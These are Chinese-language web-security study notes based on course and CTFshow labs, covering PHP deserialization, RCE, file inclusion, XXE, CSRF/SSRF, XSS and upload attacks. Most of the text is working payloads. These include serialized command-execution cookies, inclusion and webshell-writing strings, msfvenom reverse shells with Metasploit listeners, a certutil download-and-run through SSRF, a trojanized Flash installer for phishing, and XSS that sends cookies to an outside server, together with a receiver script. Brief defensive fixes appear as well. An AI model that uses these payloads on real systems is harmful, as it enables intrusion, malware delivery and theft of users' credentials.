反序列化-PHP(php、python、java)

反序列化应该是目前比较流行的漏洞。跟经典的漏洞相比,它出现的次数越来越多,带来的影响也越来越大。我记得以前某次面试面试官曾问我关于反序列化的问题,我没有回答上来,在我所学的知识里其实很多次听到反序列化这个词。
在学习java的时候我是注意到序列化这个知识点的。我以前的理解就是我们编写的程序代码要进行传输,就要序列化,把代码变成机器能够传输拼凑的样子,然后接收方再通过反序列化还原程序的代码。反序列化在没具体了解之前我认为类似于改包,目的是破坏软件的完整性。
现在我开始具体了解这个令人棘手的问题。

序列化:把对象变成数组或者字符串
反序列化:把数组或者字符串转成对象

补充:反序列化利用大概分类三类

-魔术方法的调用逻辑-如触发条件

-语言原生类的调用逻辑-如SoapClient

-语言自身的安全缺陷-如CVE-2016-7124

一、PHP中的序列化和反序列化

首先了解一下php语言中两个相关的函数:
①serialize() //将一个对象转换成一个字符串

②unserialize() //将字符串还原成一个对象

序列化是数据的某种格式,其目的就是为了在传输的过程中保证完整性以及效率。下面借助迪总的课程图片来加深理解:

序列化

如上图表示的序列化后的信息,我认为序列化就像协议,告诉接收方如何转换我们传输过去的内容信息。

在php中有很多魔术方法,用来辅助我们实现很多功能。在学习安全的过程中我们经常使用phpinfo()来查看php的一些配置信息。比如当php版本低于5的时候,可能会产生一些跟不安全的配置相关的漏洞。
反序列化漏洞产生的原因之一,是魔术方法的不正确使用。魔术方法就好比java学习里面的构造函数,如果魔术方法开启,当代码执行了特定的功能就会触发魔术方法,也就是说很有可能在程序员意料之外执行了某个危险的魔术方法。
其中最危险的是:反序列化的过程中,使用的变量可以被控制,也就是可以被修改(赋值)。在迪总演示反序列化的第一个例子看出,尽管代码层写好固定的命令你个执行语句,但是如果攻击者在url上修改对应的长度和值,可以实现别的命令你个的执行。从这里就能看出危害。

不过反序列化漏洞一般只能通过白盒测试发现,黑盒不太可能能被测出来。
下面给出一些php常见的魔术方法:

触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:

__construct(): //构造函数,当对象new的时候会自动调用

__destruct()://析构函数当对象被销毁时会被自动调用

__wakeup(): //unserialize()时会被自动调用

__invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用

__call(): //在对象上下文中调用不可访问的方法时触发

__callStatci(): //在静态上下文中调用不可访问的方法时触发

__get(): //用于从不可访问的属性读取数据

__set(): //用于将数据写入不可访问的属性

__isset(): //在不可访问的属性上调用isset()或empty()触发

__unset(): //在不可访问的属性上使用unset()时触发

__toString(): //把类当作字符串使用时触发

__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用

下面借助的迪总的笔记,再附上自己学习后的体会理解

254-对象引用执行逻辑

username=xxxxxx&password=xxxxxx

255-反序列化变量修改1

Code:

public $isVip=true;

$a=new ctfShowUser();

echo urlencode(serialize($a));

Get:username=xxxxxx&password=xxxxxx

Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

本题白盒审计源代码,发现验证部分有php的反序列化函数。检查代码逻辑需要通过修改身份信息为高级用户,思路就是思考如何修改。代码中提示,验证除了账号密码还要验证cookie,而本题cookie中就带有身份信息,因此我们先修改身份,然后将结构体对象使用序列化函数序列化,之后为了防止空格导致的错误,使用url编码。于是通过抓包,使用bp改包,把修改的部分加到数据包中同时在GET行加上username还有password

256-反序列化参数修改2

CODE:

public $username=’x’;

public $password=’y’;

public $isVip=true;

$a=new ctfShowUser();

echo urlencode(serialize($a));

GET:username=x&password=y

COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22y%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

这题先是判断账号密码是否一样,在判断账号密码跟设定的一不一样。同样的接受cookie的数据,按照逻辑修改然后发包。

257-反序列化参数修改&对象调用逻辑

<?php

class ctfShowUser{

private $class;

public function __construct(){

$this->class=new backDoor();

}

}

class backDoor{

private $code=’system(“cat f*”);’;

}

$b=new ctfShowUser();

echo serialize($b);

?>

GET:username=xxxxxx&password=xxxxxx

COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%22cat+f%2A%22%29%3B%22%3B%7D%7D

258-反序列化参数修改&对象调用逻辑

<?php

class ctfShowUser{

public $class = ‘backDoor’;

public function __construct(){

$this->class=new backDoor();

}

}

class backDoor{

public $code=”system(‘cat flag.php’);”;

}

$a=serialize(new ctfShowUser());

$b=str_replace(‘:11′,’:+11′,$a);

$c=str_replace(‘:8′,’:+8′,$b); //这两步为了使用替换函数绕过被限制的部分

echo urlencode($c);

?>

GET:username=xxxxxx&password=xxxxxx

COOKIE:user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

259-原生态类&call魔术方法&配合SSRF

参考:https://dar1in9s.github.io/2020/04/02/php%E5%8E%9F%E7%94%9F%E7%B1%BB%E7%9A%84%E5%88%A9%E7%94%A8/#Exception

生成序列化时记得开启SoapClient拓展:php.ini中启用php_soap.dll (默认是不开启的,如果要使用需要手动开启) //这个原生类可以访问网站(仅限于http或者https协议)

<?php

$target = ‘http://127.0.0.1/flag.php’;

$post_string = ‘token=ctfshow’;

$b = new SoapClient(null,array(‘location’ => $target,’user_agent’=>’wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded’.’^^Content-Length: ‘.(string)strlen($post_string).’^^^^’.$post_string,’uri’=> “ssrf”));

$a = serialize($b);

$a = str_replace(‘^^’,”\r\n”,$a);

echo urlencode($a);

?>

vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22ssrf%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22wupco%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

260-字符串序列化

ctfshow=ctfshow_i_love_36D

RCE执行:代码执行-命令执行

代码执行:脚本执行代码
命令执行:脚本执行命令

漏洞场景:代码会调用自身的脚本代码执行,也会调用系统命令执行

漏洞区别:脚本语言&操作系统(php/java/python/js&windows/linux/mac)

漏洞对象:WEB源码&中间件&其他环境(见漏洞详情对象)

漏洞危害:直接权限丢失,可执行任意脚本代码或系统命令

#RCE-原理&探针&利用&危害等

举例:

<?php

//eval代码执行

eval(‘phpinfo();’);

//system命令执行

system(‘ipconfig’);

?>

-RCE代码执行:引用脚本代码解析执行

-RCE命令执行:脚本调用操作系统命令

漏洞函数:

1.PHP:

eval()、assert()、preg_replace()、call_user_func()、call_user_func_array()以及array_map()等

system、shell_exec、popen、passthru、proc_open等

2.Python:

eval exec subprocess os.system commands

3.Java:

Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,

但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等.

#CTF-29~39-RCE代码命令执行

29-通配符

system(‘tac fla*.php’);

30-取代函数&通配符&管道符

`cp fla*.ph* 2.txt`; //注意到,反引号“ ` ` ”代表里面的内容是执行,好比使用了system命令,当system被过滤时可以考虑使用反引号。

echo shell_exec(‘tac fla*.ph*’);

31-参数逃逸 //比如代码对参数x过滤很严格,我们可以尝试构建新的参数来实现逃逸,如下代码:

eval($_GET[1]);&1=system(‘tac flag.php’); //高亮处是被过滤检查部分,我们实际使用的代码在另一处不被过滤实现逃逸。

32~36-配合包含&伪协议

include$_GET[a]?>&a=data://text/plain,<?=system(‘tac flag.php’);?>

include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

37~39-包含&伪协议&通配符

data://text/plain,<?=system(‘tac fla*’);?> //使用了伪协议

php://input post:<?php system(‘tac flag.php’);?>

#代码审计-PbootCMS-RCE代码执行 //白盒审计思路就是找到会产生RCE漏洞的特定函数,下面的笔记是借鉴迪总的,看课程的时候没有太理解,希望后期代码审计的时候可以更好的体会。

流程:搜索特定函数->parserIfLabel->parserCommom->About&Content->构造

AboutController:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}

ContentController:/index.php/Content/2?keyword={pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if}&1=phpinfo();

#层面-探针-语言&CMS框架&中间件:
rce漏洞不仅在源码出现,也会在跟配套程序中出现。跟别的WEB漏洞区别是,之前的WEB漏洞只有在网站上有,而RCE漏洞还会产生在中间件等其他地方

http://vulfocus.io/ Shiro weblogic

在下面的网站可以尝试利用payload

https://github.com/payloadbox/command-injection-payload-list

web安全-文件下载、删除、读取

对于文件的操作:上传、包含、下载、删除、读取……在这些功能点产生漏洞,都会对系统安全形成危害。文件下载、读取思路相似,主要是对一些敏感的文件进行操作,比如说凭据。而删除更是高危操作,举个例子,删除漏洞会让攻击者删除一些验证文件,会对访问控制进行破坏,另外,攻击者还会利用该漏洞进行重装攻击,将配置初始化指向攻击者构建的环境。再举一个例子,很多博客系统可以删除文章,以此为切入点思考文件删除漏洞产生原理

回忆之前提到的下载的区别:
1.直连下载,在目录中有的,输入文件名能根据协议类别进行下载。因为直连有就有没有就没有,正经人不会把敏感数据放到可以下载的目录,而且攻击者也没有可以控制的参数,所以是安全的,写死了路径不会有漏洞。
2.常规下载会有特定的判定语句,然后对请求内容进行下载,这种会有参数,如果参数可控,就可能存在有下载漏洞。

在迪总演示外国网站,尝试下载index.php文件,下载后审计其中代码,发现包含很多文件,可以推测一些数据库配置文件应该也是被包含的,所以可以尝试下载数据库配置文件(可以找到特定的名称文件,也可以一个个尝试)。幸运的话可以发现包含的配置信息里的敏感内容,比如数据库账号密码。

下面借鉴迪总笔记:

#白盒审计:

1、文件下载

流程-功能点抓包-寻代码文件-寻变量控制-构造测试

Payload: softadd=d:/1.txt softadd2=d:/1.txt

2、文件删除:74CMS-配合删除重装

流程-特定函数搜索-寻触发调用-构造Payload测试

Payload: /admin/admin_article.php?act=del_img&img=../../data/install.lock

3、文件读取:MetInfo-任意读取

流程-特定函数搜索-寻触发调用-构造Payload测试

Payload:/include/thumb.php?dir=http\..\..\config\config_db.php

#黑盒探针

1、URL参数名及参数值分析:

参数名:英文对应翻译

参数值:目录或文件名

2、功能点自行修改后分析:

文件下载,删除,读取等

文件包含漏洞

该漏洞使用多,因为基本上都会使用文件包含来执行代码。比如一些验证模块,是写好之后再在需要认证的地方引用它

1、本地包含LFI&远程包含RFI-区别

一个只能包含本地,一个可以远程加载

具体形成原因由代码和环境配置文件决定

2、各类脚本语言包含代码写法-见下文

<!–#include file=”1.asp” –>

<!–#include file=”top.aspx” –>

<c:import url=”http://thief.one/1.jsp”>

<jsp:include page=”head.jsp”/>

<%@ include file=”head.jsp”%>

<?php Include(‘test.php’)?>

3、各类脚本语言包含伪协议玩法-见图

https://www.cnblogs.com/endust/p/11804767.html

#思路要点:

-黑盒发现:主要观察参数传递的数据和文件名是否对应

-白盒发现:

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

在一些存在文件包含漏洞的地方,我们要的到目标内容,在不知道路径以及要包含文件的信息时,可以使用一些伪协议,如php的一些伪协议。在迪总的演示中使用: ?file=php://input
然后用post发送数据

要注意的是,如果要使用伪协议,需要配合配置文件,比如如下图,特定的协议需要在配置文件中设置为打开状态才能使用

78-php&http协议

payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

payload: ?file=php://input post:<?php system(‘tac flag.php’);?>

payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system(‘tac flag.php’);?>

79-data&http协议

payload: ?file=data://text/plain,<?=system(‘tac flag.*’);?>

payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system(‘tac flag.php’);?>

80 81-日志包含

1、利用其他协议,如file,zlib等

2、利用日志记录UA特性包含执行

分析需文件名及带有php关键字放弃

故利用日志记录UA信息,UA带入代码 //这跟之前文件上传时用到的思路一样,尝试包含日志文件,比如nginx的日志是下面路径,包含执行后抓包,修改UA头,改成payload,放行后,可以在日志查看。

包含:/var/log/nginx/access.log

82-86-SESSION包含 //迪总演示中,linux保存session的地址xxx/temp/temp,每有一次尝试访问网站都会产生session会话。

https://www.cnblogs.com/lnterpreter/p/14086164.html

https://www.cnblogs.com/echoDetected/p/13976405.html

87-php://filter/write&加密编码

1、利用base64: // 有些时候,过滤了“.”也就是不能包含日志文件了

url编码2次:php://filter/write=convert.base64-decode/resource=123.php

content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

2、利用凯撒13: //rot 13

url编码2次:php://filter/write=string.rot13/resource=2.php

content=<?cuc riny($_CBFG[1]);?>

88-data&base64协议

过滤PHP,各种符号,php代码编码写出无符号base64值

Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk

117-php://filter/write&新的算法

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用

<?php

$result = iconv(“UCS-2LE”,”UCS-2BE”, ‘<?php eval($_POST[a]);?>’);

echo “经过一次反转:”.$result.”\n”;

echo “经过第二次反转:”.iconv(“UCS-2LE”,”UCS-2BE”, $result);

?>

Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

contents=?<hp pvela$(P_SO[T]a;)>?

#CMS源码-XHCMS-代码审计&日志&绕过 //如果url会被拼接,那么伪协议就用不了,比如“file”.$url.”.php”这样的话,伪协议会失去作用

1、搜索特定函数寻包含点

2、固定目录及后缀名需绕过

3、由CMS无上传用日志包含

4、利用长度绕过后缀名固定 //php低版本的缺陷

Payload:

?r=../../../Apache/logs/access.log/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

web漏洞-XML-XXE

XML是一种语言,跟html的区别是,xml用来传输数据存储内容数据的,而html是用来展示数据的。

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

相关文章总结,参考:文章

-XXE黑盒发现:
比如在登陆的时候,抓个包,看看报文分析分析

1、获取得到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试

2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe

3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行

-XXE白盒发现:

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

-方案1-禁用外部实体

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:

from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

-方案2-过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

CSRF、SSRF黑白盒分析

CSRF全称:Cross-site request forgery,即,跨站请求伪造,也被称为 “One Click Attack” 或 “Session Riding”,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。举个生活中的例子:就是某个人点了个奇怪的链接,自己什么也没输,但自己的qq号或其他的号就被盗了。即该攻击可以在受害者不知情的情况下以受害者名义伪造请求,执行恶意操作,具有很大的危害性。

CSRF的攻击过程两个条件:

1、目标用户已经登录了网站,能够执行网站的功能。

2、目标用户访问了攻击者构造的URL。

CSRF安全问题黑盒怎么判断:

1、看验证来源不-修复 //referer来源,如果不是从特定同源策略来的数据包不允许执行。但注意,数据包可以修改同源数据。因此只能防一部分。怎么检测是否有同源策略呢?从正常位置点击一个功能,保存这个url然后在另起一个页面输入该url,看是否能够执行。

2、看凭据有无token–修复

3、看关键操作有无验证-修复

-CSRF安全问题白盒怎么审计:

同黑盒思路一样,代码中分析上述三看

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

-SSRF黑盒可能出现的地方:

1.社交分享功能:获取超链接的标题等内容进行显示

2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

3.在线翻译:给网址翻译对应网页的内容

4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片

5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验

6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试

7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

8.数据库内置功能:数据库的比如mongodb的copyDatabase函数

9.邮件系统:比如接收邮件服务器地址

10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等

11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……

12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

-SSRF白盒可能出现的地方:

1、功能点抓包指向代码块审计

2、功能点函数定位代码块审计

-SSRF常见安全修复防御方案:

1、禁用跳转

2、禁用不需要的协议

3、固定或限制资源地址

4、错误信息统一信息处理

#CSRF-原理&后台自动添加管理员

-案例说明:小迪在登录后台管理自己网站的时候,突然群里给小迪说阿祖又说爱上别人了,随后给我发了个URL链接,小迪直接点了进去,GG!

小迪的网站:http://test.xiaodi8.com/

发送的URL:http://47.94.236.117/add.html

利用流程:

1、获取目标的触发数据包

2、利用CSRFTester构造导出

3、诱使受害者访问特定地址触发

#SSRF-原理&服务&协议&内网&漏洞

-参考文章:https://www.t00ls.cc/articles-41070.html

-案例说明:小迪在本地创建了远程图片文件加载应用,直接被攻击者利用SSRF探针本地及内网服务,并利用某漏洞直接获取到内网某主机的权限!

1、服务探针:

http://127.0.0.1:8081/

http://127.0.0.1:3306/

2、协议玩法:(更多玩法见上图)

file:///D:/www.txt

dict://127.0.0.1:3306/info

ftp://192.168.46.148:21

3、内网扫描:

http://192.168.46.148:8080

4、漏洞利用:

-生成:msfvenom -p windows/meterpreter/reverse_http LHOST=47.94.236.117 LPORT=6688 -f exe -o xx.exe

-监听:

use exploit/multi/handler

set payload windows/meterpreter/reverse_http

set lhost 0.0.0.0

set lport 6688

run

-下载:http://192.168.46.148:8080/?search==%00{.exec|cmd.exe%20/c%20certutil%20-urlcache%20-split%20-f%20http://47.94.236.117/xx.exe.}

-执行:http://192.168.46.148:8080/?search==%00{.exec|xx.exe.}

XSS

XSS产生于前端,其特征是有输出的特征,也就显示我们输入的数据。下面借鉴迪总的笔记。

#知识点:

1、XSS跨站-原理&攻击&分类等

2、XSS跨站-反射型&存储型&DOM型等

3、XSS跨站-攻击手法&劫持&盗取凭据等

4、XSS跨站-攻击项目&XSS平台&Beef-XSS

1、原理

指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。通过在用户端注入恶意的可执行脚本,若服务器对用户的输入不进行处理或处理不严,则浏览器就会直接执行用户注入的脚本。

-数据交互的地方

get、post、headers

反馈与浏览

富文本编辑器

各类标签插入和自定义

-数据输出的地方

用户资料

关键词、标签、说明

文件上传

2、分类

反射型(非持久型) //一次性的

存储型(持久型) //注入了一次就会一直存在

DOM型 //特征就是接收数据是由javascript实现的而不是php或者其他语言。

mXSS(突变型XSS)

UXSS(通用型xss)

Flash XSS

UTF-7 XSS

MHTML XSS

CSS XSS

VBScript XSS

3、危害

网络钓鱼,包括获取各类用户账号;

窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份对网站执行操作;

劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、发表日志、邮件等;

强制弹出广告页面、刷流量等;

网页挂马;

进行恶意操作,如任意篡改页面信息、删除文章等;

进行大量的客户端攻击,如ddos等;

获取客户端信息,如用户的浏览历史、真实ip、开放端口等;

控制受害者机器向其他网站发起攻击;

结合其他漏洞,如csrf,实施进一步危害;

提升用户权限,包括进一步渗透网站;

传播跨站脚本蠕虫等

4、修复

见绕过课程对比参考

①过滤一些危险字符

②HTTP-only Cookie

③设置CSP(Content Security Policy)

④输入内容长度限制,转义等

防御:使用session、httponly

#MXSS:https://www.fooying.com/the-art-of-xss-1-introduction/

#UXSS全称Universal Cross-Site Scripting

UXSS是利用浏览器或者浏览器扩展漏洞来制造产生XSS并执行代码的一种攻击类型。

MICROSOFT EDGE uXSS CVE-2021-34506

Edge浏览器翻译功能导致JS语句被调用执行 //语句本身不被执行,被浏览器过滤掉,但是在特定版本的edge浏览器启用翻译后,原本被过滤的语句会正常执行

https://www.bilibili.com/video/BV1fX4y1c7rX

#Flashxss-swf引用js的xss

JPEXS Free Flash Decompiler

phpwind SWF反编译 Flashxss

ExternalInterface.call 执行JS代码

Payload:/res/js/dev/util_libs/jPlayer/Jplayer.swf?jQuery=alert(1))}catch(e){}//

#PDFXSS-上传后直链触发

1、创建PDF,加入动作JS

2、通过文件上传获取直链

3、直链地址访问后被触发

#XSS-后台植入Cookie&表单劫持

-条件:已取得相关web权限后

1、写入代码到登录成功文件,利用beef或xss平台实时监控Cookie等凭据实现权限维持 //别人改了密码仍然有效果,因为采用的是cookie认证。只能利用没有防护的例子。在传递账号密码的时候用到javascript语句:<script src=”http://baidu.com/get.php?name=xxx&pass=xxx”></script>会把账号密码传输到url的get.php文件里。如果是用html写没问题,但是如果这句话写在php文件里,要使用变量来接受,比如:
$x='<script src=”http://baidu.com/get.php?name=xxx&pass=xxx”></script>’;
echo $x;

2、若存在同源策略或防护情况下,Cookie获取失败可采用表单劫持或数据明文传输实现 //记录管理员登陆时的账号密码提交的表单。最关键的就是:找到验证账号密码的文件,因为该文件必然会接受来自表单上传的账号和密码!

#XSS-Flash钓鱼配合MSF捆绑上线

-条件:beef上线受控后或直接钓鱼(受害者爱看SESE)

1、生成后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=6666 -f exe > flash.exe

2、下载官方文件-保证安装正常

3、压缩捆绑文件-解压提取运行

4、MSF配置监听状态

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 6666

run

5、诱使受害者访问URL-语言要适当

#XSS-浏览器网马配合MSF访问上线

-条件:beef上线受控后或直接钓鱼(浏览器存在0day)

1、配置MSF生成URL

use exploit/windows/browser/ms14_064_ole_code_execution

set allowpowershellprompt true

set target 1

run

2、诱使受害者访问URL-语言要适当

接下来跟着迪总完成CTFshow的相关关卡,来理解xss

316关:
在输入框尝试<script>alert(1)</script>能够弹窗,存在跨站

反射型-直接远程调用

<script>window.location.href=’http://47.94.236.117/get.php?c=’+document.cookie</script> //将当前窗口的cookie发送到 47.94.236.117(这是xiaodi8.com),在服务端会有接收文件,文件代码如下:

<?php
$cookie=$_GET[‘c’];
$myfile=fopen(“cookie.txt”,”w+”);
fwrite($myfile,$cookie);
fclose($myfile);

?>

下面解释一下怎么看cookie,以及怎么跳转指定网页。

检查网页,在控制台可以查看当前浏览器的cookie,如下图:

cookie

也可以查看窗口指向的地址,通过修改.href=”来实现跳转,如下图:

window指向
跳转百度

当管理员点击刚才构建的网址时,会将自己的cookie发送到攻击者的服务器上。

317-反射型-过滤<script>
我们可以尝试使用其他标签,比如<img>

<img src=1 onerror=window.location.href=’http://47.94.236.117/get.php?c=’+document.cookie;>

onerror:当图片显示不正常的时候执行,学习html5的时候学习过

318 319-反射型-过滤<img>

<input onload=”window.location.href=’http://47.94.236.117/get.php?c=’+document.cookie;”>

<svg onload=”window.location.href=’http://47.94.236.117/get.php?c=’+document.cookie;”> //可通杀之前的关卡

比起使用错误事件,使用onload(加载事件)更加方便,因为它不需要验证其他的操作,不需要任何条件久能触发JS语句。遇到标签被过滤,只能挨个尝试其他标签,如果所有标签都失效了那就没办法了。显然做好过滤可以防止xss

320-326-反射型-过滤空格

<svg/onload=”window.location.href=’http://47.94.236.117/get.php?c=’+document.cookie;”> //用“/”代替空格

327-存储型-无过滤 //恶意代码被保存在数据库中,一被访问就会被触发

<script>window.location.href=’http://47.94.236.117/get.php?c=’+document.cookie</script>

328-存储型-注册插入JS //如果我们把用户名和密码改成payload,那么会不会在管理员的后台页面能够查看呢?当管理员查看时触发代码,cookie被攻击者盗取

<script>window.location.href=’http://47.94.236.117/get.php?c=’+document.cookie</script>

329-存储型-失效凭据需1步完成所需操作 //模拟管理员一点开session就关闭浏览器,session失效。也就是说攻击者没有在有效期内利用。

<script>

$(‘.laytable-cell-1-0-1’).each(function(index,value){

if(value.innerHTML.indexOf(‘ctf’+’show’)>-1){

window.location.href=’http://47.94.236.117/get.php?c=’+value.innerHTML;

}

});

</script> //因为session获取就失效了,所以直接获取页面的源代码

330-存储型-借助修改密码重置管理员密码(GET) //需要管理员在登陆的时候,点击了带有payload的账户信息,发生了跳转,payload如下:

<script>window.location.href=’http://127.0.0.1/api/change.php?p=123′;</script>

331-存储型-借助修改密码重置管理员密码(POST) //通过正常的抓包我们其实是可以判断出发包的方式,比如当抓包观察到这是用post请求发包的时候,改为以下:

<script>$.ajax({url:’http://127.0.0.1/api/change.php’,type:’post’,data:{p:’123′}});</script> //显然如果用户名和密码在设计的时候就做好过滤,这个漏洞就不会被使用。大部分都是用post提交!

#XSS修复-过滤函数&http_only&CSP&长度限制

1、过滤一些危险字符,以及转义& < > ” ‘ 等危险字符

自定义过滤函数引用

2、HTTP-only Cookie //微软为了保护cookie。如在php配置中httponly=1或者true,全局开启。默认是没有开启的

https://www.php.cn/php-ask-457831.html

php.ini设置或代码引用

session.cookie_httponly =1

ini_set(“session.cookie_httponly”, 1);

3、设置CSP(Content Security Policy) //文件的一个安全策略,防止数据被外发。要绕过只能把他删除掉,找到源码然后删掉它

https://blog.csdn.net/a1766855068/article/details/89370320

header(“Content-Security-Policy:img-src ‘self’ “);

4、输入内容长度限制,实体转义等

文件上传-黑盒测试-白盒测试

#白盒审计-Finecms-代码常规-处理逻辑

黑盒思路:寻找上传点抓包修改突破获取状态码及地址

审计流程:功能点-代码文件-代码块-抓包调试-验证测试

#白盒审计-CuppaCms-中间件-.htaccess

黑盒思路:存在文件管理上传改名突破,访问后在突破

审计流程:功能点-代码文件-代码块-抓包调试-验证测试

#白盒审计-Metinfo-编辑器引用-第三方安全

黑盒思路:探针目录利用编辑器漏洞验证测试

审计流程:目录结构-引用编辑器-编辑器安全查询-EXP利用验证

#文件上传:

黑盒:寻找一切存在文件上传的功能应用//能够上传文件来修改信息

1、个人用户中心是否存在文件上传功能

2、后台管理系统是否存在文件上传功能

3、字典目录扫描探针文件上传构造地址 //如upload.php等

4、字典目录扫描探针编辑器目录构造地址

白盒:看三点,中间件,编辑器,功能代码

1、中间件直接看语言环境常见搭配

2、编辑器直接看目录机构或搜索关键字

3、功能代码直接看源码应用或搜索关键字

我们可以从白盒角度去分析,从黑盒角度去测试

在演示xxcms的时候(该cms)是一个文件管理系统。在file management 这个地方可以上传图片。但是存在检查过滤,单纯的抓包改数据不能够突破后缀名检查。但是该cms存在重命名功能,此时企图重命名原来的png文件为xxx.php文件,正常来说系统会限制修改后缀名,所以正常来说修改过后的文件名为xxx.php.png。此时我们可以抓包看一下数据包能不能操作,发现有一个:
from xxx.php.png to xxx.php.png …… //此时我们猜想起了决定性作用的是to 后面的文件名,所以改包,把to后的文件名改成xxx.php发现可以成功修改名字,确实把png文件改成了php文件。一般的这个时候如果php文件里面是后门代码的话,我们就可以按照原本的思路进行连接。
但是,在演示的时候出现了在实战中经常会遇到的情况,就是访问路径的时候显示403,我们没有权限去访问这个路径。原因是存在一个.htaccess文件过滤了php文件名,限制了访问带php后缀名的url。因为开发者知道这个目录不应该存在php文件。
解决这个问题的思路:
1.把php上传到其他路径,其他路径可能没有被限制; //此时我们可以通过文件路径../或者多级跳../../ 来切换到一个不被过滤的目录然后再连接后门代码。
2.让.htaccess文件失效//但是在黑盒情况下我们并不清楚是因为这个文件生效;

